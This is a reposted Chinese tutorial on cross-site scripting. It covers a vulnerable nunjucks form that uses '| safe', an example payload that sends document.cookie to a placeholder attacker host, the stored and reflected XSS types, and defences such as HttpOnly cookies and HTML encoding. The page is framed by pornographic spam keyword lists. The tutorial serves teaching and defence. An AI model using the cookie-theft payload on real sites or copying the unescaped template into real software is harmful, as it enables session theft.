日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

WEB三大攻击之—XSS攻击与防护

發(fā)布時(shí)間:2024/7/23 编程问答 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 WEB三大攻击之—XSS攻击与防护 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

?

From:https://www.daguanren.cc/post/xss-introduction.html

?

?

XSS的背景與介紹

背景

隨著互聯(lián)網(wǎng)的發(fā)展,網(wǎng)站經(jīng)歷由單純的只讀模式到web2.0興起的交互模式變遷,而正在向完美融合了人工智能的web3.0的道路發(fā)展。目前用戶(hù)訪問(wèn)的大多數(shù)網(wǎng)站均有交互的功能,例如是電商網(wǎng)站的評(píng)論,微博網(wǎng)站的轉(zhuǎn)發(fā),論壇的發(fā)帖等等。對(duì)于正常用戶(hù)而言,他們是遵守發(fā)帖和留言規(guī)范的,但對(duì)于黑客,他們是不會(huì)老老實(shí)實(shí)的按規(guī)矩辦事的。下面的GIF圖展示的是一個(gè)XSS攻擊的示意:

上圖先使用Chrome瀏覽器進(jìn)行正常和非正常留言,Chrome瀏覽器自動(dòng)檢測(cè)出XSS攻擊,屏蔽了請(qǐng)求。然后打開(kāi)IE8,執(zhí)行同樣的操作,IE8成功受到了攻擊。

XSS定義

跨站腳本(英語(yǔ):Cross-site scripting,通常簡(jiǎn)稱(chēng)為:XSS)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶(hù)將代碼注入到網(wǎng)頁(yè)上,其他用戶(hù)在觀看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類(lèi)攻擊通常包含了HTML以及用戶(hù)端腳本語(yǔ)言。 XSS攻擊通常指的是通過(guò)利用網(wǎng)頁(yè)開(kāi)發(fā)時(shí)留下的漏洞,通過(guò)巧妙的方法注入惡意指令代碼到網(wǎng)頁(yè),使用戶(hù)加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁(yè)程序。這些惡意網(wǎng)頁(yè)程序通常是JavaScript,但實(shí)際上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁(yè)內(nèi)容、會(huì)話和cookie等各種內(nèi)容。

簡(jiǎn)而言之,現(xiàn)在的網(wǎng)頁(yè)基本是由html+css+javascript組成,普通用戶(hù)輸入的留言是文本信息,而黑客輸入的留言?xún)?nèi)容則有可能是javascript代碼。

代碼解釋

以上GIF所展示的,是一個(gè)用戶(hù)將文本框的信息提交form表單到后臺(tái),后臺(tái)反饋到前臺(tái)進(jìn)行留言展示的場(chǎng)景。表單提交代碼如下:

<form role="form" method="post"><div class="form-group"><label>輸入內(nèi)容</label><br /><textarea id="text" name="text"></textarea></label></div><button id="btn" type="submit" class="btn btn-default">提交</button> </form><label>展示內(nèi)容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫(xiě)法,由后臺(tái)賦值text變量--> </div><script>$("#btn").click(function() {$.ajax({type: "POST",url: "/index",cache: false,data: {"text": $("#text").text()},success: function(msg) {}});}) </script>

前臺(tái)表單提交到后臺(tái)服務(wù)器,可以直接使用form表單提交,也可以使用ajax提交的方式。后臺(tái)代碼可以選擇任意語(yǔ)言實(shí)現(xiàn)(java、php或者nodejs等均可),這里使用的nodejs代碼,thinkjs3的框架,后臺(tái)代碼如下:

//index.js const Base = require('./base.js');module.exports = class extends Base {indexAction() {if(this.isGet) {//如果是Get請(qǐng)求,直接顯示前臺(tái)頁(yè)面return this.display();} else if(this.isPost) {//如果是Post請(qǐng)求,賦值nunjucks模板中的text變量,再進(jìn)行頁(yè)面展示let post = this.post();this.assign("text", post.text);return this.display();}} };

這里只是一個(gè)比較輕微的彈出警告框的攻擊,但如果攻擊代碼是:

<script type=text/javascript>window.location = "http://黑客IP:8360/getcookie?cookie="+document.cookie</script>

則會(huì)將用戶(hù)的cookie信息發(fā)送到黑客那里,而用戶(hù)的cookie信息中很可能含有用戶(hù)名和密碼等重要信息,后果不堪設(shè)想。

?

XSS分為:存儲(chǔ)型和反射型

  • 存儲(chǔ)型XSS:存儲(chǔ)型XSS,持久化,代碼是存儲(chǔ)在服務(wù)器中的,如在個(gè)人信息或發(fā)表文章等地方,加入代碼,如果沒(méi)有過(guò)濾或過(guò)濾不嚴(yán),那么這些代碼將儲(chǔ)存到服務(wù)器中,用戶(hù)訪問(wèn)該頁(yè)面的時(shí)候觸發(fā)代碼執(zhí)行。這種XSS比較危險(xiǎn),容易造成蠕蟲(chóng),盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在存儲(chǔ)型XSS內(nèi))。
  • 反射型XSS:非持久化,需要欺騙用戶(hù)自己去點(diǎn)擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒(méi)有這樣的頁(yè)面和內(nèi)容),一般容易出現(xiàn)在搜索頁(yè)面。

?

?

當(dāng)前防御 XSS 的幾種策略

  • 瀏覽器端主動(dòng)進(jìn)行XSS識(shí)別
  • 服務(wù)器端對(duì)于用戶(hù)輸入的內(nèi)容進(jìn)行過(guò)濾
  • 使用較為安全的開(kāi)發(fā)框架或模板
  • 1、瀏覽器端主動(dòng)進(jìn)行XSS識(shí)別

    如上述Chrome瀏覽器會(huì)自動(dòng)識(shí)別XSS攻擊代碼,并進(jìn)行請(qǐng)求的屏蔽

    2、服務(wù)器端對(duì)于用戶(hù)輸入的內(nèi)容進(jìn)行過(guò)濾

    a)將重要的cookie標(biāo)記為http only, 這樣的話Javascript 中的document.cookie語(yǔ)句就不能獲取到cookie了;

    b)只允許用戶(hù)輸入我們希望的數(shù)據(jù),進(jìn)行數(shù)據(jù)格式校驗(yàn),例如年齡就只能輸入0-160的數(shù)字

    c)對(duì)數(shù)據(jù)進(jìn)行html encode處理,過(guò)濾或移除特殊的Html標(biāo)簽, 例如:

    &lt; 替代 <, &gt; 替代 >, &quot 替代 "

    d)過(guò)濾JavaScript 事件的標(biāo)簽。例如 "οnclick=", "onfocus" 等等。

    3、使用較為安全的開(kāi)發(fā)框架

    上述代碼所使用的nunjucks模板中:

    <label>展示內(nèi)容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫(xiě)法,由后臺(tái)賦值text變量--> </div>

    nunjucks默認(rèn)所有值都會(huì)在視圖內(nèi)自動(dòng)轉(zhuǎn)義,以防止HTML注入和XSS攻擊。 但是,

    | safe

    這個(gè)語(yǔ)句是允許應(yīng)用程序在視圖中注入HTML片段。所以才會(huì)被XSS攻擊

    總結(jié)

    XSS攻擊相比于CSRF攻擊,還是比較容易防范的,只要同時(shí)限制用戶(hù)輸入數(shù)據(jù)的格式和進(jìn)行數(shù)據(jù)轉(zhuǎn)義,基本可以杜絕此類(lèi)攻擊

    參考資料

    • 后端模板引擎Nunjucks
    • Web安全漏洞簡(jiǎn)介之XSS(一)
    • Web安全測(cè)試之XSS
    • Web如何防止XSS攻擊
    • NodeJS國(guó)內(nèi)優(yōu)秀MVC框架ThinkJS
    • 維基百科跨站腳本

    本文鏈接:https://www.daguanren.cc/post/xss-introduction.html

    ?

    ?

    總結(jié)

    以上是生活随笔為你收集整理的WEB三大攻击之—XSS攻击与防护的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 久久久久久久久久久久久久久久久久久久 | 夜夜操夜夜爽 | 久久国产一 | 国产va在线 | 国产第3页 | 欧洲精品在线观看 | 男人用嘴添女人下身免费视频 | 精品久久999 | 亚洲精品偷拍 | 麻豆网站免费观看 | 伊人黄色片 | 精品人妻伦一二三区免费 | 九九精品视频免费 | 久久五十路 | 毛片网站入口 | 中文字幕在线观看视频一区二区 | 国产成人精品无码免费看81 | 影音先锋亚洲精品 | 久久婷婷综合色丁香五月 | 精品无码一区二区三区的天堂 | 搞黄网站在线观看 | 亚洲成人自拍 | 一级特级片 | 国产午夜在线一区二区三区 | 第色| 国产乱子伦视频一区二区三区 | 国产强伦人妻毛片 | 国产精品一区无码 | 成人在线欧美 | 国产精品人八做人人女人a级刘 | 午夜不卡久久精品无码免费 | 国产成人精品无码片区在线 | 狼人色综合 | 中文字幕第七页 | 日本不卡免费 | 苍井空亚洲精品aa片在线播放 | 午夜色影院 | 中文字幕少妇在线三级hd | av美国| 久久鲁鲁| 国产精品刺激 | ww欧美| 亚洲天堂爱爱 | 色图自拍偷拍 | 91精品国产电影 | 爱爱综合 | 亚洲视频456| 男女黄网站| 国产黄色片免费观看 | 日韩一区二区不卡 | 凹凸av在线 | 深夜视频在线观看免费 | av片在线免费观看 | 蜜桃无码一区二区三区 | 国产一级生活片 | a天堂中文 | 老妇free性videosxx | 欧美男人又粗又长又大 | 国产视频一区二区三区在线观看 | 91成人综合 | 天天看天天操 | 免费观看美女裸体网站 | 青青草免费在线 | 国产午夜在线播放 | 色综合久久88 | 日韩欧美理论片 | 亚洲色图激情 | 操韩国美女 | 国产网站精品 | 欧美色妞网| 国产草逼视频 | 精品人妻一区二区三区浪潮在线 | 欧美专区第一页 | 熟妇人妻无码xxx视频 | 久久美女精品 | 色偷偷av| 国产老熟女一区二区三区 | 91精品国产91综合久久蜜臀 | 热久久国产精品 | 黄色在线观看网址 | 少妇高潮av久久久久久 | 狠狠婷| 色综合久久五月 | 国产日韩亚洲欧美 | 97看片吧| 欧美高清视频在线观看 | 国产一区二区福利 | 一区二区三区视频免费观看 | 亚洲欧洲精品成人久久奇米网 | 无码人妻aⅴ一区二区三区69岛 | 手机看片日韩国产 | 久久超碰精品 | av一区二区不卡 | 色88久久久久高潮综合影院 | 人妻在卧室被老板疯狂进入 | 人妻丰满熟妇岳av无码区hd | 欧美成人精品欧美一级私黄 | 黄网站在线免费看 | 国产91区 |